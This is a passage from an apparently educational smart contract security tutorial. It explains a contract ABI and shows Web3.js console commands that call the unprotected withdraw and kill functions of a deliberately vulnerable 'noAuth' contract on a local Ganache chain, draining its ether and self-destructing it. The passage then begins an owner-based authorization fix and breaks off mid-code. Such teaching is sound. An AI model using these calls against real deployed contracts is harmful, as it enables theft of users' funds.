margin-bottom: 0in;"> "internalType": "uint256",<o:p></o:p></p><p class="MsoNormal" style="line-height: normal; margin-bottom: 0in;"> "name": "amount",<o:p></o:p></p><p class="MsoNormal" style="line-height: normal; margin-bottom: 0in;"> "type": "uint256"<o:p></o:p></p><p class="MsoNormal" style="line-height: normal; margin-bottom: 0in;"> }<o:p></o:p></p><p class="MsoNormal" style="line-height: normal; margin-bottom: 0in;"> ],<o:p></o:p></p><p class="MsoNormal" style="line-height: normal; margin-bottom: 0in;"> "name": "withdraw",<o:p></o:p></p><p class="MsoNormal" style="line-height: normal; margin-bottom: 0in;"> "outputs": [],<o:p></o:p></p><p class="MsoNormal" style="line-height: normal; margin-bottom: 0in;"> "stateMutability": "payable",<o:p></o:p></p><p class="MsoNormal" style="line-height: normal; margin-bottom: 0in;"> "type": "function"<o:p></o:p></p><p class="MsoNormal" style="line-height: normal; margin-bottom: 0in;"> </p><p class="MsoNormal" style="line-height: normal; margin-bottom: 0in;"> }]<o:p></o:p></p> <p class="MsoNormal">___________________________________________________________________________________<o:p></o:p></p> <p class="MsoNormal"><o:p> </o:p></p> <p class="MsoNormal">Notice that the ABI above is simply just a JSON file that describes the functions in the contract for example the last function in the ABI shows the withdraw function with the following elements: <o:p></o:p></p> <blockquote style="border: none; margin: 0px 0px 0px 40px; padding: 0px; text-align: left;"><p class="MsoListParagraphCxSpFirst" style="mso-list: l0 level1 lfo6; text-indent: -0.25in;"><span style="font-family: Wingdings; mso-bidi-font-family: Wingdings; mso-fareast-font-family: Wingdings;"><span style="mso-list: Ignore;">ü<span style="font: 7pt "times new roman";"> </span></span></span><!--[endif]-->It takes an amount with the type uint256</p><p class="MsoListParagraphCxSpMiddle" style="mso-list: l0 level1 lfo6; text-indent: -0.25in;"><span style="font-family: Wingdings; mso-bidi-font-family: Wingdings; mso-fareast-font-family: Wingdings;"><span style="mso-list: Ignore;">ü<span style="font: 7pt "times new roman";"> </span></span></span><!--[endif]-->It says it has no outputs </p><p class="MsoListParagraphCxSpMiddle" style="mso-list: l0 level1 lfo6; text-indent: -0.25in;"><span style="font-family: Wingdings; mso-bidi-font-family: Wingdings; mso-fareast-font-family: Wingdings;"><span style="mso-list: Ignore;">ü<span style="font: 7pt "times new roman";"> </span></span></span><!--[endif]-->It is payable meaning it can send and receive transactions </p><p class="MsoListParagraphCxSpLast" style="mso-list: l0 level1 lfo6; text-indent: -0.25in;"><span style="font-family: Wingdings; mso-bidi-font-family: Wingdings; mso-fareast-font-family: Wingdings;"><span style="mso-list: Ignore;">ü<span style="font: 7pt "times new roman";"> </span></span></span><!--[endif]-->It also notes that it is a function</p></blockquote><p class="MsoListParagraphCxSpFirst" style="mso-list: l0 level1 lfo6; text-indent: -0.25in;"><!--[if !supportLists]--><o:p></o:p></p> <p class="MsoListParagraphCxSpMiddle" style="mso-list: l0 level1 lfo6; text-indent: -0.25in;"><!--[if !supportLists]--><o:p></o:p></p> <p class="MsoListParagraphCxSpMiddle" style="mso-list: l0 level1 lfo6; text-indent: -0.25in;"><!--[if !supportLists]--><o:p></o:p></p> <p class="MsoListParagraphCxSpLast" style="mso-list: l0 level1 lfo6; text-indent: -0.25in;"><!--[if !supportLists]--><o:p></o:p></p> <p class="MsoNormal"><o:p> </o:p></p> <p class="MsoNormal">So, the question is, how we can call these public functions directly if they were not programmed into the UI? The answer is we can use Web3 and programmatically interact with the contract via its ABI to bypass any front-end restrictions.<span style="mso-spacerun: yes;"> </span><o:p></o:p></p> <p class="MsoNormal">Let's directly interact with the noAuth contract and then let's implement authorization and requirement checks. This way you understand how to access public functions but also ways to properly prevent authorization issues with standard security libraries. This also helps with knowing what to look for when reviewing contract source code.<span style="mso-spacerun: yes;"> </span><o:p></o:p></p> <h2><br /></h2> <h2><a name="_Toc47892514">Directly Calling Public Functions with Web3.js</a></h2> <p class="MsoNormal"><span style="mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">Steps for setting up the lab: <o:p></o:p></span></p> <p class="MsoNormal"><span style="mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">(Follow the video in the below reference section if you want a walkthrough of the setup)<o:p></o:p></span></p> <blockquote style="border: none; margin: 0px 0px 0px 40px; padding: 0px; text-align: left;"><p class="MsoListParagraphCxSpFirst" style="line-height: 115%; margin-bottom: 0in; mso-add-space: auto; mso-list: l14 level1 lfo7; text-indent: -0.25in;"><span style="mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;"><span style="mso-list: Ignore;">1.<span style="font: 7pt "times new roman";"> </span></span></span><!--[endif]--><span style="mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">Open up your browser, and in Remix and create the noAuth.sol file <o:p></o:p></span></p><p class="MsoListParagraphCxSpMiddle" style="line-height: 115%; margin-bottom: 0in; mso-add-space: auto; mso-list: l14 level1 lfo7; text-indent: -0.25in;"><span style="mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;"><span style="mso-list: Ignore;">2.<span style="font: 7pt "times new roman";"> </span></span></span><!--[endif]--><span style="mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">Start Ganache-Cli on in your terminal <o:p></o:p></span></p><p class="MsoListParagraphCxSpMiddle" style="line-height: 115%; margin-bottom: 0in; mso-add-space: auto; mso-list: l14 level1 lfo7; text-indent: -0.25in;"><span style="mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;"><span style="mso-list: Ignore;">3.<span style="font: 7pt "times new roman";"> </span></span></span><!--[endif]--><span style="mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">Set the provider in Remix Deploy section to Web3 Provider<o:p></o:p></span></p><p class="MsoListParagraphCxSpMiddle" style="line-height: 115%; margin-bottom: 0in; mso-add-space: auto; mso-list: l14 level1 lfo7; text-indent: -0.25in;"><span style="mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;"><span style="mso-list: Ignore;">4.<span style="font: 7pt "times new roman";"> </span></span></span><!--[endif]--><span style="mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">Deploy the noAuth.sol contract, which will now deploy to your local ganache blockchain<o:p></o:p></span></p><p class="MsoListParagraphCxSpMiddle" style="line-height: 115%; margin-bottom: 0in; mso-add-space: auto; mso-list: l14 level1 lfo7; text-indent: -0.25in;"><span style="mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;"><span style="mso-list: Ignore;">5.<span style="font: 7pt "times new roman";"> </span></span></span><!--[endif]--><span style="mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">Copy the address for noAuth.sol. You will need it. <o:p></o:p></span></p><p class="MsoListParagraphCxSpMiddle" style="line-height: 115%; margin-bottom: 0in; mso-add-space: auto; mso-list: l14 level1 lfo7; text-indent: -0.25in;"><span style="mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;"><span style="mso-list: Ignore;">6.<span style="font: 7pt "times new roman";"> </span></span></span><!--[endif]--><span style="mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">Copy the address of the second account<o:p></o:p></span></p><p class="MsoListParagraphCxSpLast" style="line-height: 115%; margin-bottom: 0in; mso-add-space: auto; mso-list: l14 level1 lfo7; text-indent: -0.25in;"><span style="mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;"><span style="mso-list: Ignore;">7.<span style="font: 7pt "times new roman";"> </span></span></span><!--[endif]--><span style="mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">Deposit 10 Ether via the Deposit function and the Value field (don't forget to change the value type to Ether from Wei)<o:p></o:p></span></p></blockquote><p class="MsoListParagraphCxSpFirst" style="line-height: 115%; margin-bottom: 0in; mso-add-space: auto; mso-list: l14 level1 lfo7; text-indent: -0.25in;"><!--[if !supportLists]--></p> <p class="MsoListParagraphCxSpMiddle" style="line-height: 115%; margin-bottom: 0in; mso-add-space: auto; mso-list: l14 level1 lfo7; text-indent: -0.25in;"><!--[if !supportLists]--></p> <p class="MsoListParagraphCxSpMiddle" style="line-height: 115%; margin-bottom: 0in; mso-add-space: auto; mso-list: l14 level1 lfo7; text-indent: -0.25in;"><!--[if !supportLists]--></p> <p class="MsoListParagraphCxSpMiddle" style="line-height: 115%; margin-bottom: 0in; mso-add-space: auto; mso-list: l14 level1 lfo7; text-indent: -0.25in;"><!--[if !supportLists]--></p> <p class="MsoListParagraphCxSpMiddle" style="line-height: 115%; margin-bottom: 0in; mso-add-space: auto; mso-list: l14 level1 lfo7; text-indent: -0.25in;"><!--[if !supportLists]--></p> <p class="MsoListParagraphCxSpMiddle" style="line-height: 115%; margin-bottom: 0in; mso-add-space: auto; mso-list: l14 level1 lfo7; text-indent: -0.25in;"><!--[if !supportLists]--></p> <p class="MsoListParagraphCxSpLast" style="line-height: 115%; margin-bottom: 0in; mso-add-space: auto; mso-list: l14 level1 lfo7; text-indent: -0.25in;"><!--[if !supportLists]--></p> <p class="MsoNormal"><span style="mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;"><o:p> </o:p></span></p> <p class="MsoNormal"><span style="mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">Since not all of the public functions are accessible or may contain restrictions from our UI, we will attack the contract from the command line by directly calling the functions via Web3 using the contracts ABI.<span style="mso-spacerun: yes;"> </span><o:p></o:p></span></p> <p class="MsoNormal"><span style="mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">We will need the ABI for this and we can get the ABI by going to the compilation section in Remix and clicking the ABI link shown below.<span style="mso-spacerun: yes;"> </span><o:p></o:p></span></p> <p class="MsoNormal"><span face=""Calibri Light",sans-serif" style="mso-ascii-theme-font: major-latin; mso-bidi-theme-font: major-latin; mso-hansi-theme-font: major-latin;"><o:p> </o:p></span></p><div class="separator" style="clear: both; text-align: center;"><span face=""Calibri Light",sans-serif" style="mso-ascii-theme-font: major-latin; mso-bidi-theme-font: major-latin; mso-hansi-theme-font: major-latin;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh9DsRNdw9OQXHjfFiT_D0dnptXWqiMIk0de1hY_5uzrFv8GsUdHBFQasFIHvF98pd6PyFNyfDESCxCjhzQAvjrJVKkSw0DvdboMddT4O129o4U_J1NNl-zDOsP5BbFOUN0MSAGZQ/s319/8.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="319" data-original-width="290" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh9DsRNdw9OQXHjfFiT_D0dnptXWqiMIk0de1hY_5uzrFv8GsUdHBFQasFIHvF98pd6PyFNyfDESCxCjhzQAvjrJVKkSw0DvdboMddT4O129o4U_J1NNl-zDOsP5BbFOUN0MSAGZQ/s0/8.png" /></a></span></div><span face=""Calibri Light",sans-serif" style="mso-ascii-theme-font: major-latin; mso-bidi-theme-font: major-latin; mso-hansi-theme-font: major-latin;"><br /></span><p></p> <p align="center" class="MsoNormal" style="text-align: center;"><span face=""Calibri Light",sans-serif" style="mso-ascii-theme-font: major-latin; mso-bidi-theme-font: major-latin; mso-hansi-theme-font: major-latin; mso-no-proof: yes;"><v:shape id="Picture_x0020_22" o:spid="_x0000_i1025" style="height: 196.5pt; mso-wrap-style: square; visibility: visible; width: 178.5pt;" type="#_x0000_t75"> <v:imagedata o:title="" src="file:///C:/Users/ficti0n/AppData/Local/Temp/msohtmlclip1/01/clip_image008.png"> </v:imagedata></v:shape></span><span face=""Calibri Light",sans-serif" style="mso-ascii-theme-font: major-latin; mso-bidi-theme-font: major-latin; mso-hansi-theme-font: major-latin;"><o:p></o:p></span></p> <p class="MsoNormal"><span face=""Calibri Light",sans-serif" style="mso-ascii-theme-font: major-latin; mso-bidi-theme-font: major-latin; mso-hansi-theme-font: major-latin;"><o:p> </o:p></span></p> <p class="MsoNormal"><span style="mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">Note that as Web3 updates and ABI contract formats update you will need to update your web3 commands, I have had this happen to me frequently as this is a newer technology and the formats are always updating so, if this gives you issues feel free to steal the ABI from above to work with the Web3 commands below.<o:p></o:p></span></p> <p class="MsoNormal"><span style="mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">Now open up a terminal and install web3 followed by opening a node terminal: <o:p></o:p></span></p> <p class="MsoNormal"><span style="mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">$ npm install web3<o:p></o:p></span></p> <p class="MsoNormal"><span style="mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">$ node<o:p></o:p></span></p> <p class="MsoNormal"><span style="mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">Once node is running you will see a blank line with a > meaning you are in the node interactive console.<span style="mso-spacerun: yes;"> </span>We will now setup a direct connection and attack both the withdraw and kill functions to liquidate the contracts funds and terminate its functionality.<span style="mso-spacerun: yes;"> </span>The first thing we will need to do is setup our web3 import using the localhost target where our ganache-cli is running our blockchain transactions.<span style="mso-spacerun: yes;"> </span>Note with the commands below the output will usually say "undefined", you can ignore this output. <o:p></o:p></span></p> <p class="MsoNormal"><span style="mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;"><o:p> </o:p></span></p> <p class="MsoNormal"><span style="mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">> const Web3 = require('web3')<o:p></o:p></span></p> <p class="MsoNormal"><span style="mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">> const URL = "http://localhost:8545"<o:p></o:p></span></p> <p class="MsoNormal"><span style="mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">> const web3 = new Web3(URL)<o:p></o:p></span></p> <p class="MsoNormal"><span style="mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;"><o:p> </o:p></span></p> <p class="MsoNormal"><span style="mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">These lines of input simply create an instance of web3 and set its target network URL. If this were a bug bounty or pentest on another network you would supply that target URL for the target network, we can do this with Infura URL's to the test nets and mainnet on ethereum. We cover how to do this in other labs, but for this lab we are using our local targets. <o:p></o:p></span></p> <p class="MsoNormal"><span style="mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;"><o:p> </o:p></span></p> <p class="MsoNormal"><span style="mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">Next lets setup our accounts so that we are using the 2<sup>nd</sup> account we selected in our remix account dropdown which was imported from ganache-cli. Note accounts start with 0 so the second account is actually labeled as account 1. And also note we deployed our contract with account 0. <o:p></o:p></span></p> <p class="MsoNormal"><span style="mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;"><o:p> </o:p></span></p> <p class="MsoNormal"><span style="mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">> accounts = web3.eth.getAccounts();<o:p></o:p></span></p> <p class="MsoNormal"><span style="mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">> var account;<o:p></o:p></span></p> <p class="MsoNormal"><span style="mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">> accounts.then((v) => {(this.account = v[1])})<o:p></o:p></span></p> <p class="MsoNormal"><span style="mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;"><o:p> </o:p></span></p> <p class="MsoNormal"><span style="mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">We setup our account in web3 simply by grabbing all of the accounts and then setting the value of account (singular) to 1 with the commands above. Syntax in node / JavaScript is a bit cryptic at times so the commands may look a bit odd but you can easily look them up in the web3 documentation.<span style="mso-spacerun: yes;"> </span><o:p></o:p></span></p> <p class="MsoNormal"><span style="mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;"><o:p> </o:p></span></p> <p class="MsoNormal"><span style="mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">Now we need to setup our target contract address from the proxy contract. We also need to paste in the full ABI and then connect the address and the ABI with a contract variable to reference in our calls to the contract. We can do that with the input below. <o:p></o:p></span></p> <p class="MsoNormal"><span style="mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;"><o:p> </o:p></span></p> <p class="MsoNormal"><span style="mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">> const address = "ADD CONTRACT ADDRESS HERE"<o:p></o:p></span></p> <p class="MsoNormal"><span style="mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">> const abi = ADD ABI HERE<o:p></o:p></span></p> <p class="MsoNormal"><span style="mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">> const contract = new web3.eth.Contract(abi, address)<o:p></o:p></span></p><p class="MsoNormal"><span style="mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;"><br /></span></p> <p class="MsoNormal"><span style="mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">Now we are ready to make a call to the contract with the contract connection variable we just created. We will first withdraw funds to our second account which never deposited any funds. We do this using the command below that calls the withdraw function using our account variable. We also specify sending a default gas value since we need to send gas with transactions that make changes on the blockchain. <o:p></o:p></span></p> <p class="MsoNormal"><span style="mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">Before using the command below, first note your account balance in remix on your second account. This should be 100 ether at this point as it was not used in any transactions and it also holds no balance to withdraw in the contract.<span style="mso-spacerun: yes;"> </span>Then send the following command which requests 1 ether in Wei. Wei is denominated as the <o:p></o:p></span>following 1 Ether = 1,000,000,000,000,000,000 Wei (10^18)</p><p class="MsoNormal"><span style="mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;"><span style="background: white; color: #222222;"><br /></span></span></p> <p class="MsoNormal"><span style="mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">> contract.methods.withdraw("1000000000000000000").send({gas: 3000000,from: account})<o:p></o:p></span></p> <p class="MsoNormal"><o:p> </o:p></p> <p class="MsoNormal">After a few moments you should see your balance increase in the second account on Remix.<span style="mso-spacerun: yes;"> </span>Now let's kill the contract so no one else can use it which will additionally send the remaining ether in the contract to our address per the msg.sender value in the source code call to self-destruct. <o:p></o:p></p><p class="MsoNormal"><br /></p> <p class="MsoNormal">> contract.methods.kill().send({gas: 3000000,from: account})<o:p></o:p></p> <p class="MsoNormal"><o:p> </o:p></p><p class="MsoNormal"><o:p>Video WalkThrough Attacking Authorization with Web3.js: </o:p></p><p class="MsoNormal"></p><div class="separator" style="clear: both; text-align: center;"><iframe allowfullscreen="" class="BLOG_video_class" height="266" src="https://www.youtube.com/embed/cOP9z9XWjwc" width="320" youtube-src-id="cOP9z9XWjwc"></iframe></div><br /><o:p><br /></o:p><p></p><p class="MsoNormal"><o:p><br /></o:p></p><p class="MsoNormal"><o:p><br /></o:p></p> <h2><a name="_Toc47892515">Example Fix with Simple Authorization</a></h2> <p class="MsoNormal" style="line-height: normal; margin-bottom: 0in;">So obviously it's easy to understand we have functions we don't want directly called. To prevent this we need to implement some kind of protection scheme. Whether that is a require statements for accounts or more elaborate role-based designs.<span style="mso-spacerun: yes;"> </span>There are various ways we can implement authorization. We will cover a few common things you will see while auditing solidity smart contract code.<span style="mso-spacerun: yes;"> </span>While this is not a book about how to securely code your applications, in this case it is appropriate to understand what you might see while analyzing a contract you are trying to exploit.</p> <p class="MsoNormal" style="line-height: normal; margin-bottom: 0in;">The first example we will review is a simple authorization scheme using a contract owner and require statements.</p> <p class="MsoNormal" style="line-height: normal; margin-bottom: 0in;"><span style="color: red;">Important Reminder:<o:p></o:p></span></p> <p class="MsoNormal" style="line-height: normal; margin-bottom: 0in;">Make sure to type out each of these contracts and test what they are doing for yourself before reading the descriptions below the code. The muscle memory of typing all of this code and trying to understand what you typed out will help you in spotting issues when you are auditing code. Also learning how to code will help you write exploits against contracts quickly and understand when it is or is not working and how to fix it. <o:p></o:p></p> <p class="MsoNormal" style="line-height: normal; margin-bottom: 0in;"><o:p> </o:p></p> <div style="background: black; border: 1pt solid rgb(136, 136, 136); margin-left: 0.25in; margin-right: 0in; mso-border-alt: solid #888888 .75pt; mso-element: para-border-div; padding: 2pt;"><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l13 level1 lfo14; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">1.<span style="font: 7pt "times new roman";"> </span></span></span><!--[endif]--><span style="color: white;"><span style="mso-tab-count: 1;"> </span>pragma solidity ^</span><span style="color: indianred;">0.6</span><span style="color: white;">.</span><span style="color: indianred;">6</span><span style="color: white;">;<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l13 level1 lfo14; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">2.<span style="font: 7pt "times new roman";"> </span></span></span><!--[endif]--><span style="color: white;"> <o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l13 level1 lfo14; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">3.<span style="font: 7pt "times new roman";"> </span></span></span><!--[endif]--><span style="color: white;"><span style="mso-tab-count: 1;"> </span>contract simpleAuth {<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l13 level1 lfo14; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">4.<span style="font: 7pt "times new roman";"> </span></span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span>address owner;<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l13 level1 lfo14; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">5.<span style="font: 7pt "times new roman";"> </span></span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span>mapping (address =></span><span style="color: #e28964;">uint</span><span style="color: white;">) balances;<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l13 level1 lfo14; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">6.<span style="font: 7pt "times new roman";"> </span></span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span><o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l13 level1 lfo14; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">7.<span style="font: 7pt "times new roman";"> </span></span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span></span><span style="color: #e28964;">constructor</span><span style="color: white;">() </span><span style="color: #e28964;">public</span><span style="color: white;"> {<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l13 level1 lfo14; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">8.<span style="font: 7pt "times new roman";"> </span></span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span><span style="mso-tab-count: 1;"> </span>owner = msg.sender;<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l13 level1 lfo14; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">9.<span style="font: 7pt "times new roman";"> </span></span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span>}<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l13 level1 lfo14; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">10.</span></span><!--[endif]--><span style="color: white;"> <o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l13 level1 lfo14; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">11.</span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span><span style="mso-spacerun: yes;"> </span></span><span style="color: #e28964;">function</span><span style="color: white;"> deposit() </span><span style="color: #e28964;">public</span><span style="color: white;"> payable{<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l13 level1 lfo14; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">12.</span></span><!--[endif]--><span style="color: white;"> <span style="mso-tab-count: 1;"> </span>balances[msg.sender] = balances[msg.sender]+msg.</span><span style="color: #e28964;">value</span><span style="color: white;">;<span style="mso-tab-count: 1;"> </span><o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l13 level1 lfo14; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">13.</span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span><span style="mso-tab-count: 2;"> </span>}<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l13 level1 lfo14; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">14.</span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span><o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l13 level1 lfo14; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">15.</span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span></span><span style="color: #e28964;">function</span><span style="color: white;"> withdraw(</span><span style="color: #e28964;">uint</span><span style="color: white;"> amount) </span><span style="color: #e28964;">public</span><span style="color: white;"> payable {<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l13 level1 lfo14; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">16.</span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span><span style="mso-tab-count: 1;"> </span></span><span style="color: #e28964;">require</span><span style="color: white;"> (balances[msg.sender] >= amount);<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l13 level1 lfo14; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">17.</span></span><!--[endif]--><span style="color: white;"><span 